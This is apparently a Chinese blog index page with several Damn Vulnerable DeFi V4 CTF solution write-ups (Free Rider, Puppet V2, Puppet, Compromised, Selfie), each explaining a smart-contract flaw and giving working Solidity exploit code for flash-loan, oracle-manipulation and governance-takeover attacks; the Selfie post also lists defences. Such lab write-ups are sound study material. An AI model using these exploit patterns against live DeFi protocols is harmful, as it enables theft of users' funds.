首页
Search
1
yamux: how to work?
79 阅读
2
The Art of Memory Allocation: Malloc, Slab, C++ STL, and GoLang Memory Allocation
71 阅读
3
How to receive a network packet in Linux
63 阅读
4
Maps and Memory Leaks in Go
54 阅读
5
C++ redis connection pool
52 阅读
测试
Wireguard
K8s
Redis
C++
Golang
Libcurl
Tailscale
Nginx
Linux
web3
Uniswap V2
Uniswap V3
EVM
security
solidity
openzeppelin
登录
Search
标签搜索
web3
solidity
web3 security
c++
uniswapV3
redis
evm
uniswap
性能测试
k8s
wireguard
CNI
http
tailscale
nginx
linux
设计模式
Jericho
累计撰写
51
篇文章
累计收到
13
条评论
首页
栏目
测试
Wireguard
K8s
Redis
C++
Golang
Libcurl
Tailscale
Nginx
Linux
web3
Uniswap V2
Uniswap V3
EVM
security
solidity
openzeppelin
页面
搜索到
51
篇与
的结果
2025-09-03
Damn-vulnerable-defi-V4-solution(Free Rider)
一、Free Rider背景:我们有一个 NFT 市场,目前出售 6 个 NFT 代币,每个售价 15 ETH。我们初始资金只有 0.1 ETH,希望取回所有 NFT 代币并将其转交给recovery Manager,并获得 45 ETH 的赏金。marketplace 合约存在严重缺陷。function buyMany(uint256[] calldata tokenIds) external payable nonReentrant { for (uint256 i = 0; i < tokenIds.length; ++i) { unchecked { _buyOne(tokenIds[i]); } } } function _buyOne(uint256 tokenId) private { uint256 priceToPay = offers[tokenId]; if (priceToPay == 0) { revert TokenNotOffered(tokenId); } if (msg.value < priceToPay) { revert InsufficientPayment(); } --offersCount; // transfer from seller to buyer DamnValuableNFT _token = token; // cache for gas savings _token.safeTransferFrom(_token.ownerOf(tokenId), msg.sender, tokenId); // pay seller using cached token payable(_token.ownerOf(tokenId)).sendValue(priceToPay); emit NFTBought(msg.sender, tokenId, priceToPay); }当我们调用buyMany 时,我们只需要msg.value >= price(15 ETH)。请注意,在_buyOne循环的每次迭代中, msg.value的值都是相同的。合约中存在逻辑问题。_token.safeTransferFrom(_token.ownerOf(tokenId), msg.sender, tokenId); // pay seller using cached token payable(_token.ownerOf(tokenId)).sendValue(priceToPay) _token.safeTransferFrom(...) 会把 tokenId 的 所有权 从原主人转到 msg.sender(买家)。转移之后,再执行 _token.ownerOf(tokenId) → 这时候返回的就是 买家地址。sendValue(priceToPay) 把钱转给了 msg.sender(买家自己)。攻击思路:只需从 15 ETH 开始,我们就能获得全部 6 个 NFT,并从市场中抽走 90 ETH。所以现在唯一的问题是我们需要 15 ETH,但player只有 0.1 ETH。需要注意的是,市场中还有一个 Uniswap v2 池,位于 WETH 和 DVT 之间。Uniswap v2 池不仅可以用于代币兑换,还可以用于闪电贷。闪电贷的执行方式是调用swap借入一个代币,然后执行回调函数返还借入的金额,同时执行上面描述的攻击逻辑。另请注意,市场使用safeTransferFrom而不是transferFrom来转移 NFT 代币,因此这需要我们实现一个onERC721Received函数。在safeTransferFrom 函数中调用了ERC721Utils.checkOnERC721Received,在checkOnERC721Received 函数中对接收 NFT 的地址做了检查,必须要是合约并且实现了onERC721Received 函数的返回值是IERC721Receiver.onERC721Received.selector 否则将 revertfunction safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public virtual { transferFrom(from, to, tokenId); ERC721Utils.checkOnERC721Received(_msgSender(), from, to, tokenId, data); } function checkOnERC721Received( address operator, address from, address to, uint256 tokenId, bytes memory data ) internal { if (to.code.length > 0) { try IERC721Receiver(to).onERC721Received(operator, from, tokenId, data) returns (bytes4 retval) { if (retval != IERC721Receiver.onERC721Received.selector) { // Token rejected revert IERC721Errors.ERC721InvalidReceiver(to); } } catch (bytes memory reason) { if (reason.length == 0) { // non-IERC721Receiver implementer revert IERC721Errors.ERC721InvalidReceiver(to); } else { assembly ("memory-safe") { revert(add(32, reason), mload(reason)) } } } } } }还有一个小细节是,我们需要搞清楚 WETH 和 DVT 之间哪个是token0,哪个是token1。地址较小的那个是token0,通过打印地址,我们可以看到 WETH 是token0。function test_freeRider() public checkSolvedByPlayer { Attacker attacker = new Attacker{value: PLAYER_INITIAL_ETH_BALANCE}( weth, uniswapPair, marketplace, nft, recoveryManager, player ); attacker.attack(); }contract Attacker { WETH weth; IUniswapV2Pair uniswapPair; FreeRiderNFTMarketplace marketplace; DamnValuableNFT nft; FreeRiderRecoveryManager recoveryManager; address player; constructor( WETH _weth, IUniswapV2Pair _uniswapPair, FreeRiderNFTMarketplace _marketplace, DamnValuableNFT _nft, FreeRiderRecoveryManager _recoveryManager, address _player ) payable { weth = _weth; weth.deposit{value: msg.value}(); uniswapPair = _uniswapPair; marketplace = _marketplace; nft = _nft; recoveryManager = _recoveryManager; player = _player; } function attack() external payable { //console.log(address(this).balance); =》 0 uniswapPair.swap(15 ether, 0, address(this), hex"aabbcc"); } function uniswapV2Call(address sender, uint256 amount0, uint256, bytes calldata) external { require(sender == address(this), "!sender"); require(msg.sender == address(uniswapPair), "!pair"); // console.log(address(this).balance); =》 0 uint256[] memory tokenIds = new uint256[](6); for (uint256 i = 0; i < 6; i++) { tokenIds[i] = i; } weth.withdraw(amount0); // console.log(address(this).balance); =》 15000000000000000000 marketplace.buyMany{value: 15 ether}(tokenIds); // console.log(address(this).balance); =》 90000000000000000000 for (uint256 i = 0; i < 6; i++) { nft.safeTransferFrom(address(this), address(recoveryManager), i, abi.encode(player)); } // console.log(address(this).balance); =》90000000000000000000 weth.deposit{value: 15 ether}(); // Calculate flash swap fee and amount to repay // fee = borrowed amount * 3 / 997 + 1 to round up uint256 fee = (amount0 * 3) / 997 + 1; uint256 amountToRepay = amount0 + fee; // Repay Uniswap V2 pair // console.log(weth.balanceOf(address(this))); =》 15100000000000000000 // console.log(amountToRepay); =》 15045135406218655968 weth.transfer(address(uniswapPair), amountToRepay); // console.log(address(this).balance); =》75000000000000000000 (bool success,) = player.call{value: address(this).balance}(""); if (!success) revert(); } function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4) { return IERC721Receiver.onERC721Received.selector; } receive() external payable {} fallback() external payable {} }
2025年09月03日
2 阅读
0 评论
1 点赞
2025-09-02
Damn-vulnerable-defi-V4-solution(Puppet V2)
一、Puppet V2Uniswap v1 和 v2 之间的区别:Uniswap v1 交易对仅允许将一种代币兑换成 ETH。因此,要将一种代币兑换成另一种代币,必须执行两个步骤:代币 0 -> ETH -> 代币 1。Uniswap v2 允许直接兑换任意代币对。Uniswap v2 在交换功能中启用了闪电贷,因为它首先转出代币,然后在交易结束时要求偿还。背景:我们有一个支持 Uniswap v2 的交易池。池子初始持有 100e18 DVT 代币和 10e18 WETH。我们还有一个借贷池,允许我们借入 DVT 代币,前提是我们提供价值相当于 WETH 价值 3 倍的抵押品。对于借贷池来说,WETH 和 DVT 的价值取决于交易池中 DVT 和 WETH 剩余数量的比率。玩家初始拥有 20e18 ETH 和 10,000 DVT 代币。Uniswap v2 是一个自动做市商 (AMD),其公式为 x × y = k,其中 k 为常数,x 为 token0 的数量,y 为 token1 的数量。如果我们想将 dx 数量的 token0 兑换为 token1,兑换后我们必须:$$ (x + dx) × (y - dy) = k $$我们获得的token1数量等于:$$ y - k / (x + dx) = k / x - k / (x + dx) = dx × y / (x + dx) $$如果我们将 p = y / x 视为 token0 的价格(即它可以兑换的 token1 的数量),那么上面的公式表明,当 dx 较小时,我们获得的 token1 数量约为 p × dx,这是合理的。但是,如果 dx 相对于 x 非常大,那么价格就会受到显著影响,上述近似不再成立。攻击思路:是将我们的 DVT 兑换成 WETH,从而抬高 WETH 的价格,并误导借贷池中的预言机(使其认为 1 ETH 可以兑换许多 DVT)。然后,我们只需少量 WETH 作为抵押,即可借到所有 DVT 代币。根据上述计算,如果我们尝试将 10_000e18 兑换成 WETH,池中剩余的 WETH 为 100e18 × 10e18 / (100e18 + 10_000e18),约为 0.099e18。因此,我们获得的 WETH 数量超过 9.9e18。将我们拥有的 20e18 ETH 存入 WETH 中,我们将获得超过 29.9e18 的 WETH。现在价格是多少?我们有 10,100e18 DVT 和大约 10/101e18 WETH。价格约为 102,010,相当于 1WETH 可以换102,010DVT。所以:需要29.9e18 × 102,010 = 3.05e24 个 WETH 然而我们需要借入1e24 个 DVT,不到这个我们 WETH 总价值的三分之一,所以WETH抵押品是足够的。function test_puppetV2() public checkSolvedByPlayer { token.approve(address(uniswapV2Router), PLAYER_INITIAL_TOKEN_BALANCE); address[] memory path = new address[](2); path[0] = address(token); path[1] = address(weth); uniswapV2Router.swapExactTokensForTokensSupportingFeeOnTransferTokens({ amountIn: PLAYER_INITIAL_TOKEN_BALANCE, amountOutMin: 0, path: path, to: player, deadline: block.timestamp }); weth.deposit{value: PLAYER_INITIAL_ETH_BALANCE}(); weth.approve(address(lendingPool), 299e17); lendingPool.borrow(POOL_INITIAL_TOKEN_BALANCE); token.transfer(recovery, POOL_INITIAL_TOKEN_BALANCE); }
2025年09月02日
2 阅读
0 评论
1 点赞
2025-09-02
Damn-vulnerable-defi-V4-solution(Puppet)
一、Puppet背景:有一个包含 10,000e18 代币的借贷pool。该pool允许使用 ETH 作为抵押品借入代币 DVT,抵押品的价值必须是借入金额的两倍。ETH 和 DVT 之间的价格取决于 Uniswap V1 池中的代币数量。我们的初始 DVT 数量为 1,000e18。Uniswap V1 是一个满足 x × y = k(常数)的 AMM,其中 x 为 ETH 数量,y 为代币数量。初始时 x = 10e18,y = 10e18,因此 k = 100e36。如果我们 swap 1,000e18 个代币,Uniswap V1 池中剩余 1,010e18 个代币,因此剩余 ETH数量为:$$ k / (x + dx) = 100e36 / (10e18 + 1000e18) = 10 / 101 × e18 $$ETH/DVT 之间的价格变为$$ 1010e18 / (10 / 101 × e18) = 10201 $$相当于一个 eth 可以换 10201 个 DVT。要获得 10,000e18 个代币,我们需要 10,000e18 × 2 / 10,201 ≤ 2e19。因此,我们只需要 20 个 ETH。这是可行的,因为我们初始有 25e18 个 ETH,并且可以通过兑换获得额外的 ETH。因此,这个数量是绰绰有余的。所以现在唯一的问题是挑战必须在单笔交易中完成。看来我们至少需要两笔交易:部署攻击者合约发送token给攻击者合约,完成剩余的攻击逻辑。事实证明,这两个步骤可以合二为一,因为该代币继承了 Solmate 的 ERC20 协议,该协议具有permit向指定消费者授予许可的功能。这遵循了 EIP-2612 标准。简单来说,我们可以创建一个许可,使用玩家的私钥对其进行预签名,然后将签名传递给攻击者,以完成代币的批准。token.permit(owner, spender, value, deadline, v, r, s)permit等价于:不用 owner 账户亲自发起交易,就能帮 owner 对 spender 执行一次 approve。普通 ERC20 流程:Player 调用 approve(attacker, amount) → 一笔交易(要 player 私钥签名+gas)。然后 attacker 才能用 transferFrom(player, attacker, amount) 转走代币。permit 流程(EIP-2612):Player 用自己的私钥离线签一个 message。Attacker 把签名拿到链上,调用 permit(...) → 代替 Player 完成 approve(attacker, amount)。结果:attacker 获得了对 Player 代币的操作权。也就是说,permit 是一个 meta-transaction:签名 + 任意人 relay。另一个重要的细节是,在使用部署合约时new Attacker(...),地址可以预先计算(因为它使用CREATE操作码),因为它只取决于部署者(player)和 nonce。攻击思路Player 签名一份 permit,授权 attacker 合约花费他的 token。Attacker 部署时携带 25 ETH + 签名参数。在构造函数里:用 permit 完成授权。transferFrom 把 Player 的 1000 token 拉过来。用 token 去砸 Uniswap 池子,操纵价格。借空 Puppet Pool 的 token,直接送到 recovery 地址。一切完成在 一笔交易:new Attacker(...) 里面。function test_puppet() public checkSolvedByPlayer { address deployedAddr = vm.computeCreateAddress(address(player), 0); bytes32 message = keccak256( abi.encodePacked( "\x19\x01", token.DOMAIN_SEPARATOR(), keccak256( abi.encode( keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"), player, deployedAddr, PLAYER_INITIAL_TOKEN_BALANCE, 0, block.timestamp ) ) ) ); (uint8 v, bytes32 r, bytes32 s) = vm.sign(playerPrivateKey, message); new Attacker{value: 25 ether}(uniswapV1Exchange, lendingPool, token, v, r, s, recovery); }contract Attacker { constructor( IUniswapV1Exchange uniswapV1Exchange, PuppetPool lendingPool, DamnValuableToken token, uint8 v, bytes32 r, bytes32 s, address recovery ) payable { token.permit(msg.sender, address(this), 1000e18, block.timestamp, v, r, s); token.transferFrom(msg.sender, address(this), 1000e18); token.approve(address(uniswapV1Exchange), 1000e18); uniswapV1Exchange.tokenToEthSwapInput(1000e18, 1, block.timestamp); lendingPool.borrow{value: 20 ether}(100_000e18, recovery); } // receive() external payable {} // fallback() external payable {} }Solidity 的规则:合约在构造函数执行期间可以自动接收 ETH,即使没有 receive() 或 fallback()
2025年09月02日
2 阅读
0 评论
1 点赞
2025-09-02
Damn-vulnerable-defi-V4-solution(Compromised)
一、Compromised背景:我们有一家交易所正在出售一种名为“DVNFT”的NFT。该NFT的价格由基于三个来源的预言机获取,并设定为三个来源价格的中位数。如果我们将十六进制字符串解码为普通字符串,我们分别得到:MHg3ZDE1YmJhMjZjNTIzNjgzYmZjM2RjN2NkYzVkMWI4YTI3NDQ0NDc1OTdjZjRkYTE3MDVjZjZjOTkzMDYzNzQ0 MHg2OGJkMDIwYWQxODZiNjQ3YTY5MWM2YTVjMGMxNTI5ZjIxZWNkMDlkY2M0NTI0MTQwMmFjNjBiYTM3N2M0MTU5该字符串似乎是Base64编码的。解码后,我们得到:0x7d15bba26c523683bfc3dc7cdc5d1b8a2744447597cf4da1705cf6c993063744 0x68bd020ad186b647a691c6a5c0c1529f21ecd09dcc45241402ac60ba377c4159这两个十六进制字符串都是 32 个字节,这意味着它们可能是私钥。我们可以用它vm.addr来查找每个私钥对应的地址,并查看这些地址是否与预言机的两个来源匹配。攻击思路:由于我们可以控制这两个来源,因此我们可以操纵 NFT 的价格,例如将其设定为 0 ETH(因此中间价也将为 0 ETH),并使用玩家的余额购买。之后,我们将 NFT 的价格调整回 999 ETH 并出售。 function test_compromised() public checkSolved { address chainlink1 = vm.addr(0x7d15bba26c523683bfc3dc7cdc5d1b8a2744447597cf4da1705cf6c993063744); address chainlink2 = vm.addr(0x68bd020ad186b647a691c6a5c0c1529f21ecd09dcc45241402ac60ba377c4159); vm.prank(chainlink1); oracle.postPrice("DVNFT", 0); vm.prank(chainlink2); oracle.postPrice("DVNFT", 0); vm.prank(player); uint256 id = exchange.buyOne{value: 0.1 ether}(); vm.prank(chainlink1); oracle.postPrice("DVNFT", INITIAL_NFT_PRICE); vm.prank(chainlink2); oracle.postPrice("DVNFT", INITIAL_NFT_PRICE); vm.startPrank(player); nft.approve(address(exchange), id); exchange.sellOne(id); (bool success,) = payable(recovery).call{value: INITIAL_NFT_PRICE}(""); if (!success) revert(); vm.stopPrank(); }
2025年09月02日
2 阅读
0 评论
1 点赞
2025-09-01
Damn-vulnerable-defi-V4-solution(Selfie)
一、Selfie背景:有一个提供闪电贷功能的pool。该pool还设有紧急出口,可通过governance合约执行。该governance合约具有queueAction和executeAction功能。如果调用者获得超过半数的投票,则可以将(调用任意目标地址)的行为加入队列。成功加入队列的操作在等待两天后即可由任何人执行。governance系统通过 ERC20 投票实现,即投票数以每个持有者持有的代币数量为准。要获得投票权,必须进行委托操作并且可以委托给自己。该pool拥有 1,500,000e18 ERC20Votes 代币。总共有 2,000,000e18 代币。攻击思路:我们部署一个attacker合约,该合约通过闪电贷借入所有代币,并将投票委托给自己。由于代币在委托后会被返还,因此我们暂时拥有 75% 的投票权。然后,我们将一个调用emergencyExit该池的操作加入队列(由于我们拥有超过一半的投票权,因此允许这样做)。最后,等待 2 天后,我们执行队列中的操作并转移资金。contract Attacker { uint256 constant TOKENS_IN_POOL = 1_500_000e18; bytes32 private constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan"); SelfiePool pool; IERC20 token; SimpleGovernance governance; address recovery; address player; constructor(SelfiePool _pool, address _recovery, address _player) { pool = _pool; token = pool.token(); governance = pool.governance(); recovery = _recovery; player = _player; } function onFlashLoan(address, address, uint256 amount, uint256, bytes calldata) external returns (bytes32) { DamnValuableVotes(address(token)).delegate(address(this)); governance.queueAction(address(pool), 0, abi.encodeCall(pool.emergencyExit, (recovery))); token.approve(msg.sender, amount); return CALLBACK_SUCCESS; } function attack() external { pool.flashLoan(IERC3156FlashBorrower(address(this)), address(token), TOKENS_IN_POOL, ""); } } function test_selfie() public checkSolvedByPlayer { Attacker attacker = new Attacker(pool, recovery, player); attacker.attack(); vm.warp(block.timestamp + 2 days); governance.executeAction(1); }由于 SelfiePool 的实现是:它会在 onFlashLoan 调用完成后,自己调用 transferFrom,从借款人(也就是攻击合约)那里扣回借出去的代币,Attacker合约必须在 onFlashLoan 里执行:token.approve(msg.sender, amount);避免这种攻击的常见方法✅ 1. 使用 Snapshot 阻止闪电贷投票很多治理代币(例如 COMP、UNI)要求在 proposal 创建时 或 投票时,必须参考一个 过去区块的快照(snapshot block)。意义:投票权不是用当前余额,而是用某个固定的历史区块的余额。这样攻击者即使闪电贷借了代币,当前区块委托也没用,因为投票权参考的还是之前区块(攻击前他们没票)。在 OpenZeppelin 的 Governor 里就是这么设计的,默认用 getPastVotes(account, blockNumber)。✅ 2. 设置治理延迟 (governance delay)即使有了投票权,也不能立刻执行。Proposal 创建 → 投票期 → Timelock → 执行。Timelock 可以是 1 天、2 天甚至更久。攻击者用闪电贷只能在一个交易里完成借款和还款,无法跨天保持治理权。✅ 3. 禁止治理代币用于闪电贷SelfiePool 把治理代币放在池子里,还提供了闪电贷功能,本身就很危险。解决方法:治理代币不应当被闪电贷借出,或者闪电贷代币只允许稳定币、流动性代币,而不是治理代币。如果确实要借治理代币,可以在合约里显式禁止:require(address(token) != governanceToken, "Governance token cannot be flash loaned");✅ 4. 在治理逻辑里校验“投票权的稳定性”比如:要求代币持有 超过 X 个区块/时间 才有投票权。或者在提案时检查,投票权是否来自稳定持仓,而不是闪电贷瞬时余额。要避免这种攻击,常见防御手段有:投票权基于过去快照区块(最常见 & 主流做法);治理延迟 + Timelock,避免立刻生效;治理代币不能提供闪电贷;要求持币时长,防止瞬时治理。
2025年09月01日
3 阅读
0 评论
0 点赞
1
2
3
4
...
11